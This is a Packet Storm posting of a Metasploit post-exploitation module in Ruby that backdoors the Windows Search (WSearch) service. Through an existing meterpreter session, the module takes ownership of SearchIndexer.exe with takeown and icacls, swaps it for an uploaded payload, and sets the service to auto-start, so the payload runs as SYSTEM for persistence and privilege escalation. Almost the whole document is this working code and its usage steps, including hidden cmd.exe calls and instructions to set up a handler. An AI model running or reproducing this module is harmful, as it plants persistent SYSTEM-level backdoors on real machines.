Microsoft Wsearch Privilege Escalation

2016-10-27T00:00:00
ID PACKETSTORM:139377
Type packetstorm
Reporter r00t-3xp10it
Modified 2016-10-27T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
##  
# [ persist_priv_Wsearch.rb ]  
# $Id$ 1.6 Author: pedr0 Ubuntu aka: [r00t-3xp10it]  
# Hosted By: peterubuntu10[at]sourceforge[dot]net  
# http://sourceforge.net/projects/msf-auxiliarys/  
# https://sourceforge.net/p/msf-auxiliarys/repository/ci/master/tree/persist_priv_Wsearch.rb  
#  
#  
# ---  
# [ POST-EXPLOITATION MODULE DESCRIPTION ]  
# This post-exploitation module requires a meterpreter session to be able to upload/inject our payload.exe  
# into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name  
# and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring.  
# To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name  
# of the service. 'Rebooting the system or restarting the service will run the malicious executable with elevated privileges.  
#  
#  
# [ HOW TO EXPLOIT THE VULNERABILITY ]  
# 1Ao - exploit target system with one meterpreter payload (open session)  
# 2Ao - build new payload called: SearchIndexer.exe (2Ao payload to send to target)  
# 3Ao - start conrrespondent handler to wait for the 2Ao payload connection.  
# 4Ao - use post/windows/escalate/persist_priv_Wsearch (set options required)   
# 5Ao - set UPLOAD_PATH /root/SearchIndexer.exe (2Ao payload to send to target)  
# 6Ao - exploit  
#  
#  
# [ MODULE OPTIONS ]  
# HINT: to unset all values use: msf post(persist_priv_Wsearch) > unset all  
# Input The session number to run this module on => set SESSION 3  
# Input full path of SearchIndexer.exe to upload => set UPLOAD_PATH /root/shell/output/SearchIndexer.exe  
# Check WSearch service auto-start status? => set SERVICE_STATUS true  
# revert WSearch service executable to default? => set DELETE_PERSISTENCE true  
# ---  
#  
#  
# [ PORT MODULE TO METASPLOIT DATABASE ]  
# Kali linux COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/persist_priv_Wsearch.rb  
# Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/persist_priv_Wsearch.rb  
# Manually Path Search: root@kali:~# locate modules/post/windows/escalate  
#  
#  
# [ LOAD/USE AUXILIARY ]  
# meterpreter > background  
# msf exploit(handler) > reload_all  
# msf exploit(handler) > use post/windows/escalate/persist_priv_Wsearch  
# msf post(persist_priv_Wsearch) > info  
# msf post(persist_priv_Wsearch) > show options  
# msf post(persist_priv_Wsearch) > show advanced options  
# msf post(persist_priv_Wsearch) > set [option(s)]  
# msf post(persist_priv_Wsearch) > exploit  
##  
  
  
  
# ----------------------------  
# Module Dependencies/requires  
# ----------------------------  
require 'rex'  
require 'msf/core'  
require 'msf/core/post/common'  
require 'msf/core/post/windows/priv'  
  
  
  
# ----------------------------------  
# Metasploit Class name and includes  
# ----------------------------------  
class MetasploitModule < Msf::Post  
Rank = ExcellentRanking  
  
include Msf::Post::Common  
include Msf::Post::Windows::Priv  
  
  
  
# -----------------------------------------  
# Building Metasploit/Armitage info GUI/CLI  
# -----------------------------------------  
def initialize(info={})  
super(update_info(info,  
'Name' => 'persistence/privilege_escalation in WSearch',  
'Description' => %q{  
This post-exploitation module requires a meterpreter session to be able to upload/inject our SearchIndexer.exe into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring. To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges."WARNING: payload to send must be named as: SearchIndexer.exe"  
},  
'License' => UNKNOWN_LICENSE,  
'Author' =>  
[  
'peterubuntu10[at]sourceforge[dot]net', # post-module author/vuln discover  
'Special thanks: milton_barra', # testing/debug module  
],  
  
'Version' => '$Revision: 1.6',  
'DisclosureDate' => 'out 25 2016',  
'Platform' => 'windows',  
'Arch' => 'x86_x64',  
'Privileged' => 'false',  
'Targets' =>  
[  
# Tested againts windows 7 (32 bits) | XP SP1 (32 bits)  
[ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]  
],  
'DefaultTarget' => '3', # default its to run againts windows 7 (32 bits)  
'References' =>  
[  
[ 'URL', 'http://goo.gl/OvgbW' ],  
[ 'URL', 'http://sourceforge.net/users/peterubuntu10' ],  
[ 'URL', 'http://sourceforge.net/projects/msf-auxiliarys/repository' ],  
[ 'URL', 'http://computerstepbystep.com/windows_search_service.html' ],  
[ 'URL', 'http://www.winhelponline.com/blog/take-ownership-of-file-or-folder/' ],  
[ 'URL', 'https://technet.microsoft.com/en-us/library/cc753525%28v=ws.11%29.aspx' ]  
  
  
  
],  
'DefaultOptions' =>  
{  
'SESSION' => '1', # Default its to run againts session 1  
},  
'SessionTypes' => [ 'meterpreter' ]  
  
))  
  
register_options(  
[  
OptString.new('SESSION', [ true, 'The session number to run this module on']),  
OptString.new('UPLOAD_PATH', [ false, 'Input the full path of SearchIndexer.exe to upload']),  
OptBool.new('SERVICE_STATUS', [ false, 'Check remote WSearch service settings?' , false])  
], self.class)  
  
register_advanced_options(  
[  
OptBool.new('DELETE_PERSISTENCE', [ false, 'revert WSearch service executable to default?' , false])  
], self.class)  
  
end  
  
  
  
  
# ----------------------------------------------  
# Check for proper target Platform (win32|win64)  
# ----------------------------------------------  
def unsupported  
session = client  
sys = session.sys.config.sysinfo  
print_warning("[ABORT]: Operative System => #{sys['OS']}")  
print_error("Only windows systems are supported by this module...")  
print_error("Please execute [info] for further information...")  
print_line("")  
raise Rex::Script::Completed  
end  
  
  
  
  
# ----------------------------------------------------------  
# INJECT/UPLOAD OUR EXECUTABLE INTO WSearch BINARY_PATH_NAME  
# ----------------------------------------------------------  
def ls_stage1  
  
r=''  
session = client  
upath = datastore['UPLOAD_PATH']  
bin_path = "%systemroot%\\system32\\SearchIndexer.exe"  
# check for proper config settings enter  
# to prevent 'unset all' from deleting default options...  
if datastore['UPLOAD_PATH'] == 'nil'  
print_error("Options not configurated correctly...")  
print_warning("Please set UPLOAD_PATH option...")  
return nil  
else  
# elevate privs befor running module  
print_status("Persisting your payload in target system.")  
client.sys.config.getprivs.each do |priv|  
end  
end  
  
  
# check target system language to define key variable to use in (icacls) syntax...  
check_lang = registry_getvaldata("HKLM\\System\\CurrentControlSet\\Control\\Nls\\Language","InstallLanguage")  
if check_lang == "0816" || check_lang == "0416"  
print_warning("Target System language detected:Portuguese...")  
key = "Administrador"  
elsif check_lang == "0409" || check_lang == "0009" || check_lang == "0809" || check_lang == "0C09" || check_lang == "1009" || check_lang == "0421" || check_lang == "0415"  
print_warning("Target System language detected:English...")  
key = "Administrator"  
elsif check_lang == "0410"  
print_warning("Target System language detected:Italian...")  
key = "Amministratore"  
elsif check_lang == "040C" || check_lang == "0413"  
print_warning("Target System language detected:French...")  
key = "Administrateur"  
elsif check_lang == "0407"  
print_warning("Target System language detected:German...")  
key = "Verwalter"  
else  
print_error("post-module cant define target system language...")  
print_warning("defaulting key to english language [Administrator]")  
key = "Administrator"  
end  
  
  
# list of arrays to execute  
arrays = [  
'ren %systemroot%\\\\system32\\\\SearchIndexer.exe SearchIndexer.bk',  
'move /y %temp%\\\\SearchIndexer.exe %systemroot%\\\\system32\\\\SearchIndexer.exe',  
'sc start WSearch'  
]  
  
print_good("Stoping WSearch remote service...")  
# stop service to enable proper configuration  
r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true})  
sleep(2.0)  
print_good("Setting service to auto-start with windows...")  
# set service to auto-start with windows  
r = session.sys.process.execute("cmd.exe /c sc config WSearch start= auto", nil, {'Hidden' => true, 'Channelized' => true})  
sleep(2.0)  
  
# upload our executable into 'temp' folder...  
print_good("Uploading payload to target temp folder...")  
client.fs.file.upload("%temp%\\SearchIndexer.exe","#{upath}")  
  
# takeown of SearchIndexer.exe  
print_good("Takeowner of SearchIndexer to replace it by our executable.")  
print_good(" Execute => takeown /f #{bin_path}")  
r = session.sys.process.execute("cmd.exe /c takeown /f #{bin_path}", nil, {'Hidden' => true, 'Channelized' => true})  
sleep(2.0)  
  
# grant admin permitions (icacls)  
print_good(" Execute => icacls #{bin_path} /grant #{key}:(F)")  
r = session.sys.process.execute("cmd.exe /c icacls #{bin_path} /grant #{key}:(F)", nil, {'Hidden' => true, 'Channelized' => true})  
sleep(2.0)  
  
# loop funtion to manipulate file permitions in target system.  
session.response_timeout=120  
arrays.each do |cmd|  
begin  
# execute cmd prompt in a hidden channelized windows  
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})  
print_good(" Execute => #{cmd}")  
  
# close client channel when done  
while(d = r.channel.read)  
break if d == ""  
end  
end  
end  
  
# task completed successefully...  
print_good("Restarting WSearch service...")  
sleep(2.0)  
print_warning("WSearch service [binary_path_name] backdoored successefuly...")  
print_status("Setup one handler and Wait everytime that system restarts OR")  
print_status("Setup one handler and restart Wsearch service: sc start WSearch")  
print_line("")  
  
# close channel when done  
r.channel.close  
r.close  
  
# error exception funtion  
rescue ::Exception => e  
print_error("Error: #{e.class} #{e}")  
end  
  
  
  
  
# ---------------------------------------------------------  
# DELETE/REVERT WSEARCH SERVICE EXECUTABLE TO DEFAULT STAGE  
# ---------------------------------------------------------  
def ls_stage2  
  
r=''  
session = client  
backup = "%systemroot%\\system32\\SearchIndexer.bk"  
# check for proper config settings enter  
# to prevent 'unset all' from deleting default options...  
if datastore['DELETE_PERSISTENCE'] == 'nil'  
print_error("Options not configurated correctly...")  
print_warning("Please set DELETE_PERSISTENCE option...")  
return nil  
else  
# elevate privs befor running module  
print_status("Revert WSearch service executable to default stage")  
client.sys.config.getprivs.each do |priv|  
end  
end  
  
  
# list of arrays to execute  
arrays = [  
'takeown /f %systemroot%\\\\system32\\\\SearchIndexer.exe',  
'ren %systemroot%\\\\system32\\\\SearchIndexer.bk SearchIndexer.exe',  
'sc config WSearch start= demand',  
'sc start WSearch'  
]  
  
# check if backup file exist on target  
if client.fs.file.exists?("#{backup}")  
print_warning("Backup SearchIndexer.bk file:found...")  
print_good("Stoping WSearch remote service...")  
# stop service to enable proper configuration  
r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true})  
sleep(2.0)  
  
# loop funtion to manipulate file permitions in target system.  
print_good("Takeowner of SearchIndexer service executable...")  
session.response_timeout=120  
arrays.each do |cmd|  
begin  
# execute cmd prompt in a hidden channelized windows  
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})  
print_good(" Execute => #{cmd}")  
  
# close client channel when done  
while(d = r.channel.read)  
break if d == ""  
end  
end  
end  
  
  
print_good("Restarting WSearch service...")  
sleep(2.0)  
print_warning("WSearch service executable reverted to default stage...")  
print_status("we have lost our backdoor :( but feeded the white hacker within :D")  
print_line("")  
  
# close channel when done  
r.channel.close  
r.close  
  
else  
print_error("Backupfile: SearchIndexer.bk => NOT FOUND...")  
print_warning("post-module did not have reverted the service default executable.")  
print_line("")  
end  
  
  
# error exception funtion  
rescue ::Exception => e  
print_error("Error: #{e.class} #{e}")  
end  
  
  
  
  
# ------------------------------------  
# CHECK/DISPLAY WSEARCH SERVICE STATUS  
# ------------------------------------  
def ls_stage3  
  
r=''  
serv="WSearch"  
session = client  
sysnfo = session.sys.config.sysinfo  
# check for proper config settings enter  
# to prevent 'unset all' from deleting default options...  
if datastore['SERVICE_STATUS'] == 'nil'  
print_error("Options not configurated correctly...")  
print_warning("Please set SERVICE_STATUS option...")  
return nil  
else  
print_status("Checking WSearch service settings...")  
sleep(2.0)  
end  
  
  
print_warning("Reading service hive registry keys...")  
# search in target regedit for WSearch auto-start service status  
# Value:Start - dword: 2 - auto | 3 - manual | 4 - disabled  
check_stats = registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start")  
if check_stats == 2  
startup = "auto_start"  
elsif check_stats == 3  
startup = "manual_start"  
elsif check_stats == 4  
startup = "disabled_start"  
else  
startup = "unknow"  
print_error("post-module cant define service auto_start status...")  
print_warning("enter into a shell session and execute: sc qc WSearch status")  
end  
  
  
sleep(1.0)  
# display WSearch service current settings.  
print_line("")  
print_line(" :host => #{sysnfo['Computer']}")  
print_line(" :service => #{serv}")  
print_line(" :status => running")  
print_line(" :startup => #{startup}")  
print_line("")  
  
# error exception funtion  
rescue ::Exception => e  
print_error("Error: #{e.class} #{e}")  
end  
  
  
  
  
# ------------------------------------------------  
# MAIN DISPLAY WINDOWS (ALL MODULES - def run)  
# Running sellected modules against session target  
# ------------------------------------------------  
def run  
session = client  
# Check for proper target Platform  
unsupported if client.platform !~ /win32|win64/i  
  
# Variable declarations (msf API calls)  
sysnfo = session.sys.config.sysinfo  
runtor = client.sys.config.getuid  
runsession = client.session_host  
directory = client.fs.dir.pwd  
  
  
# Print banner and scan results on screen  
print_line(" +---------------------------------------------+")  
print_line(" | PERSISTENCE + PRIV_ESCAL IN WSEARCH SERVICE |")  
print_line(" | Author: Pedro Ubuntu [ r00t-3xp10it ] |")  
print_line(" +---------------------------------------------+")  
print_line("")  
print_line(" Running on session : #{datastore['SESSION']}")  
print_line(" Computer : #{sysnfo['Computer']}")  
print_line(" Operative System : #{sysnfo['OS']}")  
print_line(" Target IP addr : #{runsession}")  
print_line(" Payload directory : #{directory}")  
print_line(" Client UID : #{runtor}")  
print_line("")  
print_line("")  
  
  
  
# ------------------------------------  
# Selected settings to run  
# ------------------------------------  
if datastore['UPLOAD_PATH']  
ls_stage1  
end  
  
if datastore['DELETE_PERSISTENCE']  
ls_stage2  
end  
  
if datastore['SERVICE_STATUS']  
ls_stage3  
end  
end  
end  
`